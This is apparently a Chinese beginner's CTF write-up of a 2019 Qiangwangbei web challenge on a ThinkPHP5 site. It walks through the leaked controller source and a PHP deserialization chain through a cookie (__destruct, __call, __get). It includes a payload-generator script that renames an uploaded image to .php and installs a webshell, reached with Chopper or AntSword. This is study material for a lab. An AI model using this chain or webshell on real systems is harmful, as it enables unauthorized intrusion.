May 26th 2019, 5:14:26 pm      
         
        
        
            
        
        
        说在前面
第一次打强网杯,没想到这么难,萌新瑟瑟发抖。BY Threezh1
题目有点绕,看了半天都没找到重点。后面还是靠学长给的payload思路理清楚了过程。这里就记录一下,学习学习。
题目分析
网站基本功能:
注册登录后,可以上传一张图片作为头像。
无论上传什么格式的文件,文件名都会修改为md5值.png
分析:
使用dirsearch等工具可以直接扫到网站源码地址:
http://49.4.6.176:32288/www.tar.gz
框架为TP5,直接看application/web/controller目录。包括了以下几个模块,分别对应了网站的几个功能。由于Login.php里没有对解题有用的信息,我们就只看其他三个页面。
Index.php         //账户首页
Login.php         //登陆
Profile.php     //上传
Register.php     //注册
Index.php
它的作用为判断是否登录,根据是否已经上传图片来显示指定的用户主页模板。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
   | <?php namespace app\web\controller; use think\Controller;
  class Index extends Controller {     public $profile;     public $profile_db;
      public function index()     {         if($this->login_check()){                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";             $this->redirect($curr_url,302);             exit();         }         return $this->fetch("index");     }
      public function home(){         if(!$this->login_check()){               $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";             $this->redirect($curr_url,302);             exit();         }
          if(!$this->check_upload_img()){              $this->assign("username",$this->profile_db['username']);             return $this->fetch("upload");         }else{             $this->assign("img",$this->profile_db['img']);               $this->assign("username",$this->profile_db['username']);             return $this->fetch("home");         }     }
      public function login_check(){           $profile=cookie('user');             if(!empty($profile)){                $this->profile=unserialize(base64_decode($profile));                 $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();              if(array_diff($this->profile_db,$this->profile)==null){                  return 1;             }else{                 return 0;             }         }     }
      public function check_upload_img(){          if(!empty($this->profile) && !empty($this->profile_db)){             if(empty($this->profile_db['img'])){                 return 0;             }else{                 return 1;             }         }     }
      public function logout(){         cookie("user",null);         $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";         $this->redirect($curr_url,302);         exit();     }
      public function __get($name)     {         return "";     }
  }
   | 
 
里面与一个题目相关且重要的函数为login_check():
函数中先获取cookie,如果cookie不为空,则将cookie进行base64解码之后反序列化。
这个反序列化函数也就是解题的入口,我们的目的就是构造序列化的payload赋值到cookie里,经过反序列执行我们想要的命令。
Profile.php 
当图片上传时,此页面会对图片进行一定的处理并更新用户信息和cookie内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
   | <?php namespace app\web\controller;
  use think\Controller;
  class Profile extends Controller {     public $checker;     public $filename_tmp;     public $filename;     public $upload_menu;     public $ext;     public $img;     public $except;
      public function __construct()        {         $this->checker=new Index();          $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);         @chdir("../public/upload");          if(!is_dir($this->upload_menu)){             @mkdir($this->upload_menu);         }         @chdir($this->upload_menu);     }
      public function upload_img(){          if($this->checker){              if(!$this->checker->login_check()){                  $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";                 $this->redirect($curr_url,302);                 exit();             }         }
          if(!empty($_FILES)){                 $this->filename_tmp=$_FILES['upload_file']['tmp_name'];                  $this->filename=md5($_FILES['upload_file']['name']).".png";              $this->ext_check();              }         if($this->ext) {                 if(getimagesize($this->filename_tmp)) {                                 @copy($this->filename_tmp, $this->filename);                        @unlink($this->filename_tmp);                               $this->img="../upload/$this->upload_menu/$this->filename";                     $this->update_img();                 }else{                 $this->error('Forbidden type!', url('../index'));             }         }else{             $this->error('Unknow file type!', url('../index'));          }     }
      public function update_img(){         $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();           if(empty($user_info['img']) && $this->img){              if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){                  $this->update_cookie();                  $this->success('Upload img successful!', url('../home'));             }else{                 $this->error('Upload file failed!', url('../index'));             }         }     }
      public function update_cookie(){            $this->checker->profile['img']=$this->img;          cookie("user",base64_encode(serialize($this->checker->profile)),3600);       }
      public function ext_check(){             $ext_arr=explode(".",$this->filename);           $this->ext=end($ext_arr);            if($this->ext=="png"){               return 1;         }else{             return 0;         }     }
      public function __get($name)     {         return $this->except[$name];      }
      public function __call($name, $arguments)       {         if($this->{$name}){             $this->{$this->{$name}}($arguments);         }     }
  }
   | 
 
做题的时候为了帮自己理清楚源码逻辑,尝试把每一个语句都打上注释,结果还是没找到重点。
由于最重要的就是图片上传的函数,直接来看:
upload_img()函数,当有图片上传时,它会经过以下几个步骤:
- 判断是否登录成功
 
- 当文件不为空时,会赋值一个变量filename_tmp为原图片地址,filename为原图片名的md5加密值+”.png”,并调用一个函数来判断是否成功修改filename。
 
- 在判断成功修改filename为.png后缀后,就会原图片名filename_tmp修改为.png后缀的filename。并删除原来的图片。
 
- 更新数据库内用户信息与cookie
 
并且,源码的最后还有两个php魔术方法,__get(),__call()
读取不可访问属性的值时,__get() 会被调用。返回except[$被调用的属性]的值
 
在对象中调用一个不可访问方法时,__call() 会被调用。
  其中:`$this->{$this->{$name}}($arguments);`比较绕,
  我们设A为所调用的不可访问的方法名。B为调用方法时所赋值的参数,C为一个和A为一个名字的变量。D为变量C的值。
  那么这个语句就会调用这个函数:D(B)
 
从这里来看,题目的解题方法就比较明了了,就是通过构造一个序列化的payload,绕过或者修改上传的图片后缀名为.php。
Register.php
负责注册的页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
   | <?php namespace app\web\controller; use think\Controller;
  class Register extends Controller {     public $checker;     public $registed;
      public function __construct()     {         $this->checker=new Index();     }
      public function register()     {         if ($this->checker) {             if($this->checker->login_check()){                 $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";                 $this->redirect($curr_url,302);                 exit();             }         }         if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {             $email = input("post.email", "", "addslashes");             $password = input("post.password", "", "addslashes");             $username = input("post.username", "", "addslashes");             if($this->check_email($email)) {                 if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {                     $user_info = ["email" => $email, "password" => md5($password), "username" => $username];                     if (db("user")->insert($user_info)) {                         $this->registed = 1;                         $this->success('Registed successful!', url('../index'));                     } else {                         $this->error('Registed failed!', url('../index'));                     }                 } else {                     $this->error('Account already exists!', url('../index'));                 }             }else{                 $this->error('Email illegal!', url('../index'));             }         } else {             $this->error('Something empty!', url('../index'));         }     }
      public function check_email($email){         $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";         preg_match($pattern, $email, $matches);         if(empty($matches)){             return 0;         }else{             return 1;         }     }
      public function __destruct()     {         if(!$this->registed){             $this->checker->index();         }     } }
   | 
 
前面一部分都是对解题没什么太大用处。
看最后的一个方法,在类创建完毕之后所触发,这里$this->checker调用了index(),后面可以利用这里来构造payload。
根据payload来看解题的思路
生成Payload的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php namespace app\web\controller; class Register{   public $checker;   public $registed=0;   public function __construct($check){     $this->checker=$check;   } } class Profile{   public $except = array('index'=>'upload_img');   public $ext = 1;   public $filename_tmp = "./upload/98acc62aa02eda032d1caed497ce72a0/2b4ec354e9c2540ed9bc584cec08c9c0.png";   public $filename="./upload/98acc62aa02eda032d1caed497ce72a0/2b4ec354e9c2540ed9bc584cec08c9c0.php"; } $a=new Register(new Profile()); echo base64_encode(serialize($a)); ?>
   | 
 
在看了payload之后,我整理了一下我自己的思路:
profile.php里的upload_img函数中有一处复制图片到新地址,并删除原来图片的语句:
1 2
   | @copy($this->filename_tmp, $this->filename);        @unlink($this->filename_tmp);              
   | 
 
我们可以利用反序列化,将filename_tmp赋值为.png后缀,将filename赋值为.php后缀。
这里就会将.png后缀的图片修改为.php并把原来后缀为.png的图片删除。这样就可以在图片中写入一句话进而getshell。
而要重定义这两个变量,我们就得调用upload_img这个函数并且绕过修改后缀名和判断是否已经修改成功这两个if语句。
当我们还未上传图片时,if(!empty($_FILES))是直接可以绕过的,这样就不会执行ext_check()这个函数。我们再利用反序列化将$ext赋值为1。就可以绕过这两个if语句了。
那么问题来了,怎么调用upload_img这个函数呢?我们知道,反序列化是不能够直接调用类里面的函数的。
还记得前面的两个魔术方法吗?
从payload脚本当中看,我们将$this->checker赋值为Profile这个类。
页面Register.php在调用$this->checker时的语句为:
1 2 3 4 5 6
   | public function __destruct() {     if(!$this->registed){         $this->checker->index();     } }
   | 
 
这里调用了$this->checker->index();也就是从Profile类中调用了index(),而Profile类中并没有index()这个函数。
所以这里就会触发到魔术方法中的__call()
在call方法中,会调用名为变量index的值的方法。而Profile类中没有index这个变量,所以又会触发__get()这个魔术方法。
在get方法中,会返回except[‘index’]的值,所以我们在构造反序列化时就将其赋值为upload_img。
这样,就会调用upload_img这个函数了。
最终的步骤就是:
- 设置$register=0
 
- 调用Profile类
 
- 设置except数组,index->upload_img
 
- 设置$ext=1,$filename,$filename_tmp
 
- 由2触发call,call调用get,call最终调用upload_img函数
 
- 修改文件名
 
- 菜刀连接
 
复现
注册一个账号,上传一个包含php一句话的图片,将脚本中的图片名修改为上传后生成的图片名。
注册一个新账号,登录。将payload生成出来,在用户主页修改cookies,刷新。
用菜刀或者蚁剑连接图片名.php,在根目录下拿到flag。



总结
学长们的思路真的太强了,每个重要的语句,环环相扣达到最终彼岸。
最TP5这类框架还是不太熟悉,后面还要多总结学习。